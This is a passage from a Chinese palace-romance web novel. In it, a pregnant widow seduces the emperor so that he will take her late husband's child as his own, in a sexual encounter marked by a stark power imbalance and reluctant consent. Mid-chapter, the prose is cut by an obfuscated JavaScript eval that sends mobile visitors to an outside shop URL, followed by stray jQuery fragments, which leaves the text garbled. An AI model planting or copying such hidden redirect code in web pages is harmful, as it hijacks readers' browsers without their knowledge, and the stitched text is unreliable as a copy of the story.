这话从他嘴里说出来,明明是一样的意思,却比晏青禾方才那句直白得多。晏青禾的脸更红了,红得连脖子根都烧了起来,她低着头,手指绞着帕子,绞得帕子皱成一团,半天才从喉咙里挤出一个字来:“……嗯。”
萧叡放下茶盏,也不说话,就那么看着她。
晏青禾被他看得浑身发毛,坐也不是站也不是,恨不能找个地缝钻进去。她不知道自己那声“嗯”之后该说什么,也不知道皇帝是什么意思,是愿意还是不愿意,是觉得她轻贱还是觉得她可笑。她脑子里乱成一锅粥,手心全是汗。
过了好一会儿,萧叡才开口,声音里带着一丝若有似无的笑意:“夫人今日是怎么了?又是夹菜又是盛汤的,如今又要留朕过夜。朕记得前几日夫人见了朕还躲着走,怎么忽然转了性子?”
晏青禾被他问得哑口无言。她不能说是因为自己怀了孩子,想让孩子有个名分,只能硬着头皮编瞎话:“臣妇……臣妇只是觉得,陛下待臣妇恩重如山,臣妇无以为报,唯有……”
她说到这里,卡壳了。唯有什么?以身相许?这话她实在说不出口。
萧叡替她把话接了下去:“唯有以身相许?”
晏青禾的头低得快要埋进胸口里去了,耳朵尖红得滴血。
萧叡看着她那副窘迫的模样,心里头那点逗弄的心思渐渐淡了下去。他看得出来,她在害怕。她不是心甘情愿的,她是被逼到了某个角落,不得不走出这一步。
至于她为什么会被逼到这个地步,他还不知道。但他篡权夺位、结党营私,早已算不上君子,犯不得推拒这天下掉馅饼的好事,至于原因,之后有的是时间弄清楚。
他站起身,走到她面前。
晏青禾感觉到一片阴影笼罩下来,心跳得更快了,几乎要从嗓子眼里蹦出来。她下意识地想往后退,可椅子抵着后面的墙壁,她退无可退。
萧叡弯下腰,一只手撑在她身侧的桌沿上,将她半圈在怀里。这个姿势让晏青禾整个人都僵住了,她闻到了他身上的龙涎香,淡淡的,和顾延章身上的味道完全不同。
“抬头。”他说。
晏青禾不敢不听,慢慢抬起头来。她的眼睫上沾着细碎的水光,眼眶红红的,嘴唇被她自己咬得发白。
萧叡看着她这副模样,心里头那点火苗烧得更旺了些。他用拇指轻轻摩挲了一下她的下唇,将她咬出的那道白痕揉开。
“别咬自己,”他叹了口气,“疼的是你。”
晏青禾的嘴唇被他触碰的一瞬间,整个人颤了一下。他的指腹温热,带着薄茧,触感粗糙,和顾延章的手很像,又不太像。她的眼眶一酸,差点落下泪来,赶紧忍住了。
萧叡收回手,直起身,居高临下地看着她:“夫人既然开了口,朕自然不会辜负夫人的美意。不过——”
“朕好歹是一国之君,夫人一句话便想留朕过夜,未免也太便宜了些。”
晏青禾愣住了,抬起头看着他,眼睛里满是茫然。她不明白皇帝是什么意思,明明他对自己是有意的,这几日天天来昭华宫用膳,看她的眼神也带着温度,怎么到了这一步,反倒拿乔起来了?
萧叡看着她那副茫然无措的样子,心里头越发觉得有趣:“夫人想让朕留下来,总得拿出些诚意来。”
晏青禾仰着头看他,嘴唇微微张着,脑子里一片空白。诚意?什么诚意?她一个寡妇,身无长物,连这条命都是皇帝给的,她能拿出什么诚意来?
萧叡看着她那副呆呆的模样,伸手在她发顶上轻轻拍了一下,像拍一只犯了迷糊的小猫:“不急,夫人慢慢想。想好了,再派人来告诉朕。”
他说完,转身便往外走。
晏青禾急了,从椅子上站起来,追了两步:“陛下!”
萧叡停住脚步,回过头来看她。
晏青禾站在那里,脸涨得通红,嘴唇动了动。她知道不能让皇帝就这么走了,他走了,她的计划就全泡汤了。
“陛下…莫要欺负臣妇了……”她上前两步,牵住了他的衣角。
萧叡看着她那副羞赧的模样,心中暗喜,弯腰将她打横抱了起来。晏青禾猝不及防,惊呼一声,下意识地搂住了他的脖子。等她反应过来自己做了什么,又赶紧松开手,可已经来不及了,萧叡已经抱着她大步走进了内室。
内室里点着一盏灯,光线昏黄柔和,帐幔低垂。萧叡将她放在床沿上,自己却没有急着靠近,而是站在她面前。
“朕再问你一次,”他额头贴着她的额头,“你确定?”
晏青禾坐在床沿上,两只手撑着身侧的锦被,指尖陷进柔软的缎面里。她抬起头,看着面前这个掌控着她生死荣辱的男人。他的面容隐在昏黄的灯光里,表情看不太真切,但那双眼睛是亮的。
她点了点头。
萧叡没有再说话。他伸手,解了她领口的盘扣。动作不快不慢,一颗一颗。晏青禾僵坐着,一动不动,连呼吸都屏住了,只有睫毛在不停地颤抖。
外衫褪下,落在脚边。中衣的系带也被解开了,衣襟松散开来,露出底下月白色的小衣和一片细腻的肌肤。晏青禾终于忍不住了,伸手抓住了他的手腕。
萧叡停住了,低头看着她抓住自己手腕的那只手。
“怕?”他问。
晏青禾点了点头,又摇了摇头,自己也说不清到底是什么意思。萧叡没有抽回手,也没有继续,就那样保持着半蹲的姿势,等她平复。
过了好一会儿,晏青禾才慢慢松开了手指。
萧叡继续手上的动作,比方才更轻柔了几分。他将她的中衣褪下,搭在床尾的架子上,然后直起身,解了自己的外袍。
晏青禾不敢看他,偏过头去,目光落在床帐上绣着的缠枝莲纹样上。她听见衣料摩擦的窸窣声响,感觉到床榻微微一沉,他已经在她身边坐下了。
“躺下。”他说。
晏青禾顺从地躺了下去,锦被柔软,带着淡淡的熏香气。她躺得直挺挺的,两只手交叠放在小腹上。
萧叡低头看着她这副模样,忍不住笑了一声。
“你这是准备就寝,还是准备赴死?”
晏青禾无措地抬手摸了摸自己的脸颊,滚烫的。
萧叡伸手,轻轻拨开她额前一缕碎发,指尖顺着她的脸颊滑下来,停在她的下颌线上,轻轻一抬,迫使她抬起头来看他。
“别怕,”他的声音比方才柔和了几分,“朕不会伤你。”
他说完,便低头吻住了她的唇。
晏青禾的脑子里“嗡”的一声,一片空白。他的嘴唇是温热的,带着淡淡的茶香,落在她的唇上。她没有闭眼,眼睛睁得大大的,看着近在咫尺的那张脸,看着他垂下的眼帘和浓密的睫毛,脑子里只有一个念头——她在做什么?
她这是在欺君。
可她已经没有退路了。
萧叡察觉到她的僵硬和生涩,便放慢了节奏,用舌尖轻轻描摹她的唇形,一点一点地撬开她的牙关。晏青禾被动地承受着,不知该如何回应,只能笨拙地学着他的样子,小心翼翼地动了动嘴唇。
萧叡感受到了她那细微的回应,眼尾弯了弯。
他直起身,伸手解了自己的外袍,随手搭在屏风上。然后是腰带,中衣,一件一件落下来,露出精壮的肩背和胸膛。烛火在他身上投下明暗交错的光影,勾勒出流畅而结实的肌肉线条。他的身上有几道旧伤疤,不算狰狞。
晏青禾只看了一眼,便飞快地低下头去,脸红得能滴出血来。
萧叡走回床边,在她面前蹲下来,伸手去解她衣襟上的纽子。他的动作不快不慢,一颗,两颗,露出底下白皙的锁骨和一小片细腻的肌肤。晏青禾的呼吸急促起来,胸口起伏着,手指紧攥着被褥。
萧叡停下了动作,抬头看了她一眼:“若是不愿,现在说还来得及。”
晏青禾咬着下唇,眼眶里蓄了一层薄薄的水光。她当然不愿,但她想要这个孩子。
她没有选择。
她闭上眼睛,轻轻摇了摇头。
后面的过程,晏青禾记不太清了。她只记得烛火晃了一下,帐钩响了一声,然后便是铺天盖地的陌生触感和气息。萧叡的动作算得上温柔,每一步都带着试探和克制,可对她来说依然是陌生的。她咬着嘴唇,忍着没有出声,眼泪却止不住地往下淌,洇湿了枕头。
萧叡察觉到她在哭,便停下了动作,低头看她。她的眼睛闭得紧紧的,睫毛湿漉漉地粘在一起,鼻尖红红的,嘴唇被她自己咬得发白,整个人在微微发抖。
他伸手,用拇指轻轻拨开她咬紧的牙关:“别咬,疼就出声。”
晏青禾睁开眼睛,泪眼朦胧地看了他一眼,又飞快地闭上,把脸扭到一边去。
萧叡没有再说话,俯身在她额头上落下一个吻,动作放得更轻了些。
烛火静静地烧着,将两个人的影子投在帐幔上,融为一体。
不知过了多久,一切终于归于平静。
萧叡翻身躺到一旁,气息尚未完全平稳。他伸手将晏青禾揽进怀里,她的身子还在微微发抖,缩在他怀中。
他低头看了看她,她的眼睛闭着,睫毛上还挂着泪珠,脸颊上泪痕未干,嘴唇微微肿起,整个人看起来可怜极了,他低头吻去她脸上的泪痕。
“哭什么,”他低声道,“朕又没欺负你。”
晏青禾没有说话,把脸埋进他胸口,不肯抬头。
萧叡也不逼她,一只手揽着她的腰,另一只手有一下没一下地拍着她的背,像哄小孩儿似的。他的手掌温热而干燥,隔着薄薄的中衣,一下一下地拍在她背上。
晏青禾趴在他胸口,听着他有力的心跳声,渐渐地,那阵剧烈的颤抖平息了下来。她的眼皮越来越沉,意识渐渐模糊,终于沉沉地睡了过去。
萧叡低头看着怀里沉睡的人,她的呼吸平稳而均匀,睫毛上还挂着未干的泪珠,眉头微微蹙着,即使在睡梦中也不甚安稳。他伸手,用指腹轻轻抚平她眉间的褶皱。
他想起许多年前,那个蹲在栏杆边上吃桂花糕的小女孩。他当时就想,这个小姑娘若是能养在身边就好了。
如今她终于在他怀里了,虽然方式与他当初设想的不同,但结果总归是一样的。
至于她为什么忽然主动留他,他心里头清楚得很。一只胆小怯懦的小猫,忽然鼓起勇气来撩拨老虎,必定是有所图。他不急着问,反正她人在他宫里,跑不掉。他有的是时间,慢慢等她开口。
他低头,在她发顶上落下一个吻,然后闭上眼睛,也睡了。
第二天清早,晏青禾是在萧叡怀里醒过来的。
她睁开眼,先看见的是一片裸露的胸膛,肌肤是健康的蜜色,纹理分明。她的脸“腾”地一下红了,猛地往后缩了缩,却发现自己正被一条手臂牢牢地箍着,动弹不得。
她抬起头,正对上萧叡那双含笑的眼睛。
“醒了?”他的声音带着刚醒时的沙哑,听起来比平日低沉了几分。
晏青禾的脸红透了,慌忙低下头,声音细若蚊吟:“陛、陛下……该早朝了……”
“嗯,”萧叡应了一声,却没有松手,“还早,再躺一会儿。”
晏青禾被他搂在怀里,动也不敢动,浑身僵硬得像一块木板。她不知道该说什么,也不知道该做什么,只能闭着眼睛装睡。可她的心跳得太快了,咚咚咚的,隔着胸腔传出来,萧叡不可能听不见。
萧叡低低地笑了一声,那笑声震得他的胸腔微微震动,连带着她也跟着共振起来。
“昨晚胆子不是挺大的么,”他低下头,嘴唇贴着她的耳廓,“怎么天一亮就怂了?”
晏青禾的耳朵尖肉眼可见地红透了,她把脸埋进枕头里,闷闷地说:“臣妇……臣妇没有……”
“没有?”萧叡伸手,轻轻捏了捏她的耳垂,“那昨晚是谁留朕的?”
晏青禾羞得说不出话来,把枕头抱得更紧了,恨不得把自己闷死在里面。
萧叡见她实在羞得厉害,便不再逗她,松开了箍着她的手臂,坐起身来。他赤着上身,随手抓了抓头发,打了个哈欠,掀开被子下了床。
晏青禾从枕头缝隙里偷偷露出一只眼睛,看见他宽阔的背部和紧实的腰线,又赶紧闭上,心跳得更快了。
萧叡走到衣架旁,自己取了中衣穿上,动作利落。外头候着的宫人听见动静,端着盥洗用具鱼贯而入,低着头不敢乱看。
晏青禾缩在被子里,听着外头窸窸窣窣的穿衣声和水声,心里头乱糟糟的。昨夜的事像一场梦,模模糊糊的,不太真实。可身体的酸软和疼痛提醒着她,那不是梦,是实实在在发生过的。
她真的做了。
她把自己献给了皇帝,用这种方式来保全肚子里的孩子。
她不知道这条路走下去会通向何方,她只知道,她已经迈出了第一步,就再也没有回头路了。
萧叡穿戴整齐,走到床边,弯腰在她额头上落下一个吻:“朕去上朝了,你好好休息。午膳朕不过来,晚膳再来陪你。”
晏青禾缩在被子里,轻轻点了点头。
萧叡心里高兴,告别了自己的小妻子,转身大步走了出去。
他的脚步声消失在门外,晏青禾才慢慢从被子里探出头来。她望着帐顶,发了好一会儿呆,然后伸手,轻轻摸了摸自己的小腹。
之后的半个月,萧叡隔三差五便来昭华宫过夜。
他来的日子没有固定的规律,有时连续两三日都来,有时隔一两日才来一趟。晏青禾摸不透他的行程,也不敢问,只能被动地等着。他来,她便伺候着;他不来,她便松一口气,又隐隐有些不安。
她不敢表现得太过热情,怕他起疑心;也不敢太过冷淡,怕他失了兴趣。
萧叡待她倒是温和,从未对她说过重话,也从未在床笫之间强迫过她做任何她不愿的事。他甚至会在事后替她揉腰,会在她半夜惊醒时轻轻拍着她的背哄她入睡,会在清晨离开前替她掖好被角。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883582|211989||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这些细碎的温柔,让晏青禾有时候会产生一种错觉——仿佛他们真的是一对寻常的夫妻。
可她知道那不是真的。
他是皇帝,她是臣妻,他们之间的关系从一开始就不是对等的。她不过是他豢养在昭华宫里的一只雀儿,他高兴了便来逗一逗,不高兴了便丢在一边。她所有的荣辱生死,都系在他一念之间。
她不敢忘记这一点。
转眼到了十一月,天气愈发冷了。这一日傍晚,萧叡又来了昭华宫。用过晚膳,他没有像往常一样去书房批折子,而是坐在窗下的榻上,手里拿着一卷书,有一搭没一搭地翻着。
晏青禾坐在他旁边,手里做着针线,绣的是一方帕子,帕角绣了一枝斜斜的梅花。她低着头,一针一线绣得很慢,偶尔抬头看他一眼,又飞快地低下头去。
萧叡翻了几页书,忽然开口:“今日太医来请脉了?”
晏青禾的手一顿,针尖扎了一下指尖,她“嘶”了一声,赶紧把手指放进嘴里含了一下。
萧叡放下书,拉过她的手看了看,指尖上沁出一颗小小的血珠。他皱了皱眉,拿过她手里的帕子,替她裹了一下:“怎么这么不小心?”
“没事的,陛下,”晏青禾想抽回手,“就是扎了一下。”
萧叡没有松手,握着她的手指,低头看了看那方绣了半朵梅花的帕子:“绣得不错。”
晏青禾被他夸得有些不好意思,低下头小声道:“臣妇手艺粗陋,陛下见笑了。”
“朕说不错就是不错,”萧叡把帕子还给她,“方才问你话呢,太医今日来请脉了?”
晏青禾的心跳漏了一拍,她低着头,假装专注地整理那方帕子:“来过了。”
“怎么说?”
“说……说臣妇身子无恙,只是有些气血不足,开了几副温补的方子。”
萧叡点了点头,没有再多问。晏青禾暗暗松了一口气,手指却还在微微发抖。她不敢让太医诊出她有孕的事,每次太医来请脉,她都紧张得手心出汗,生怕被诊出来。好在太医似乎并未察觉异样,开的也都是些温补的方子,与安胎无关。
可她知道,这件事瞒不了多久。再过一两个月,肚子显了怀,便再也藏不住了。
她必须在那个时候到来之前,让萧叡以为这个孩子是他的。
这个念头让她羞耻,却又别无选择。
又过了几日,晏青禾算着日子,觉得差不多该“有动静”了。她提前让春苔去太医院取了些补药,又故意在萧叡面前做出疲惫嗜睡的模样,吃饭时也挑三拣四,动不动便犯恶心。
萧叡果然注意到了。
“这几日怎么总是没精神?”晚膳时,他看着晏青禾面前几乎没怎么动的饭碗,皱了皱眉,“饭菜不合胃口?”
晏青禾摇了摇头,拿起筷子夹了一筷青菜,放到嘴边,闻到那股油腥味,胃里一阵翻涌,她赶紧放下筷子,拿帕子掩住嘴,干呕了两下。
萧叡的眉头皱得更紧了:“传太医。”
“不必了陛下,”晏青禾赶紧摆手,“臣妇没事,就是……就是有些反胃,大约是着了凉,过两日便好了。”
萧叡看着她苍白的脸色和微微泛青的嘴唇,还是让陈禄安去传了太医。
太医来得很快,依旧是那位须发花白的赵太医。他给晏青禾请了脉,捻着胡须沉吟了片刻,看了看晏青禾,又看了看坐在一旁的萧叡,欲言又止,擦了擦额头的冷汗:“这……”
萧叡察觉到了他的异样:“有话直说。”
赵太医跪了下来,叩首道:“回陛下,夫人这是……有了两个月的身子。”
晏青禾低着头,手指紧紧攥着帕子,指甲几乎要嵌进掌心里。她心跳得又快又急,不敢抬头看萧叡的表情。
萧叡坐在椅子上,沉默了许久。
他看着晏青禾低垂的脑袋,心里头转过无数个念头。他算了算日子,从他第一次在昭华宫过夜到现在,大约是一个多月前的事。时间上倒是吻合。
可他也记得,晏青禾嫁进将军府,是七月中的事。顾延章九月离京,她在将军府住了将近两个月。这两个月里,顾延章绝不可能不碰她。太医说有喜了,但这个孩子到底是谁的,没有人能给他确切的答案。
他看着晏青禾那张苍白而紧张的脸,心里软了软。
他站起身,走到她面前,伸手轻轻抬起她的脸。她的眼眶里蓄着泪,睫毛湿漉漉的,嘴唇微微发颤,整个人惊怕得要命。
萧叡的心便全软了。
左右是她的孩子,中宫之位空悬,孩子生下来验一验,是顾延章的种就养在宫里,到了年纪挑个封号出宫建府也就罢了。
若是他的……
晏青禾是罪臣之女,又是将军遗孀,按理说不能立为皇后。但他起兵造反,诛杀先帝夺位,如何不能算是罪臣。
如此看来,他们是天生一对夫妻。
皇帝自己把自己哄好了,再来哄她。他伸手替晏青禾擦了擦泪,把人揽在怀里:“哭什么,有喜是好事。好了,别哭了,动了胎气不好。”
他转头对赵太医道:“开几副安胎的药,仔细照料夫人的身子。若有任何闪失,朕唯你是问。”
赵太医连连叩首:“臣遵旨,臣必当竭尽全力,保夫人和小主子平安。”
萧叡又吩咐宫人,赏了昭华宫上下三个月的月钱,又命内务府送了一批上等的补品和衣料过来。整个昭华宫喜气洋洋,宫人们脸上都带着笑,仿佛过年一般。
晏青禾坐在窗下的榻上,看着宫人们忙碌的身影,心里头却空落落的。
她骗了皇帝。
她用一个不属于他的孩子,换来了他的信任和恩宠。这件事就像一根刺,扎在她心里,时时刻刻都在提醒她,她是一个欺君罔上的骗子。
可她别无选择。
她伸手轻轻摸了摸自己的小腹,那里还是平平的,什么也摸不出来。可她知道,那里有一个小小的生命正在生长,那是顾延章留在世上最后的痕迹。
日子一天天过去,晏青禾的肚子渐渐显了怀。
到了十二月,天寒地冻,昭华宫里烧着地龙,暖融融的。晏青禾过了孕吐最厉害的阶段,胃口好了些,人也圆润了几分。她的脸色比之前红润了,眼睛也有了光彩,整个人看起来比刚入宫时精神了许多。
萧叡来看她的次数更多了。有时候是来用晚膳,有时候只是坐一坐,喝杯茶便走。他会问她今日吃了什么、睡了多久、有没有哪里不舒服,问得很细,比太医问得还细。晏青禾答了之后,他便点点头,也不多说什么。
有时候他会把耳朵贴在她肚子上听动静,虽然月份还小,什么都听不见,可他听得很认真。晏青禾看着他专注的侧脸,心里头说不上是什么滋味。
她知道,萧叡是真的以为这个孩子是他的。
这个认知让她既愧疚又害怕。愧疚的是她欺骗了他,害怕的是万一有一天真相大白,她会面临怎样的下场。
她不敢往下想。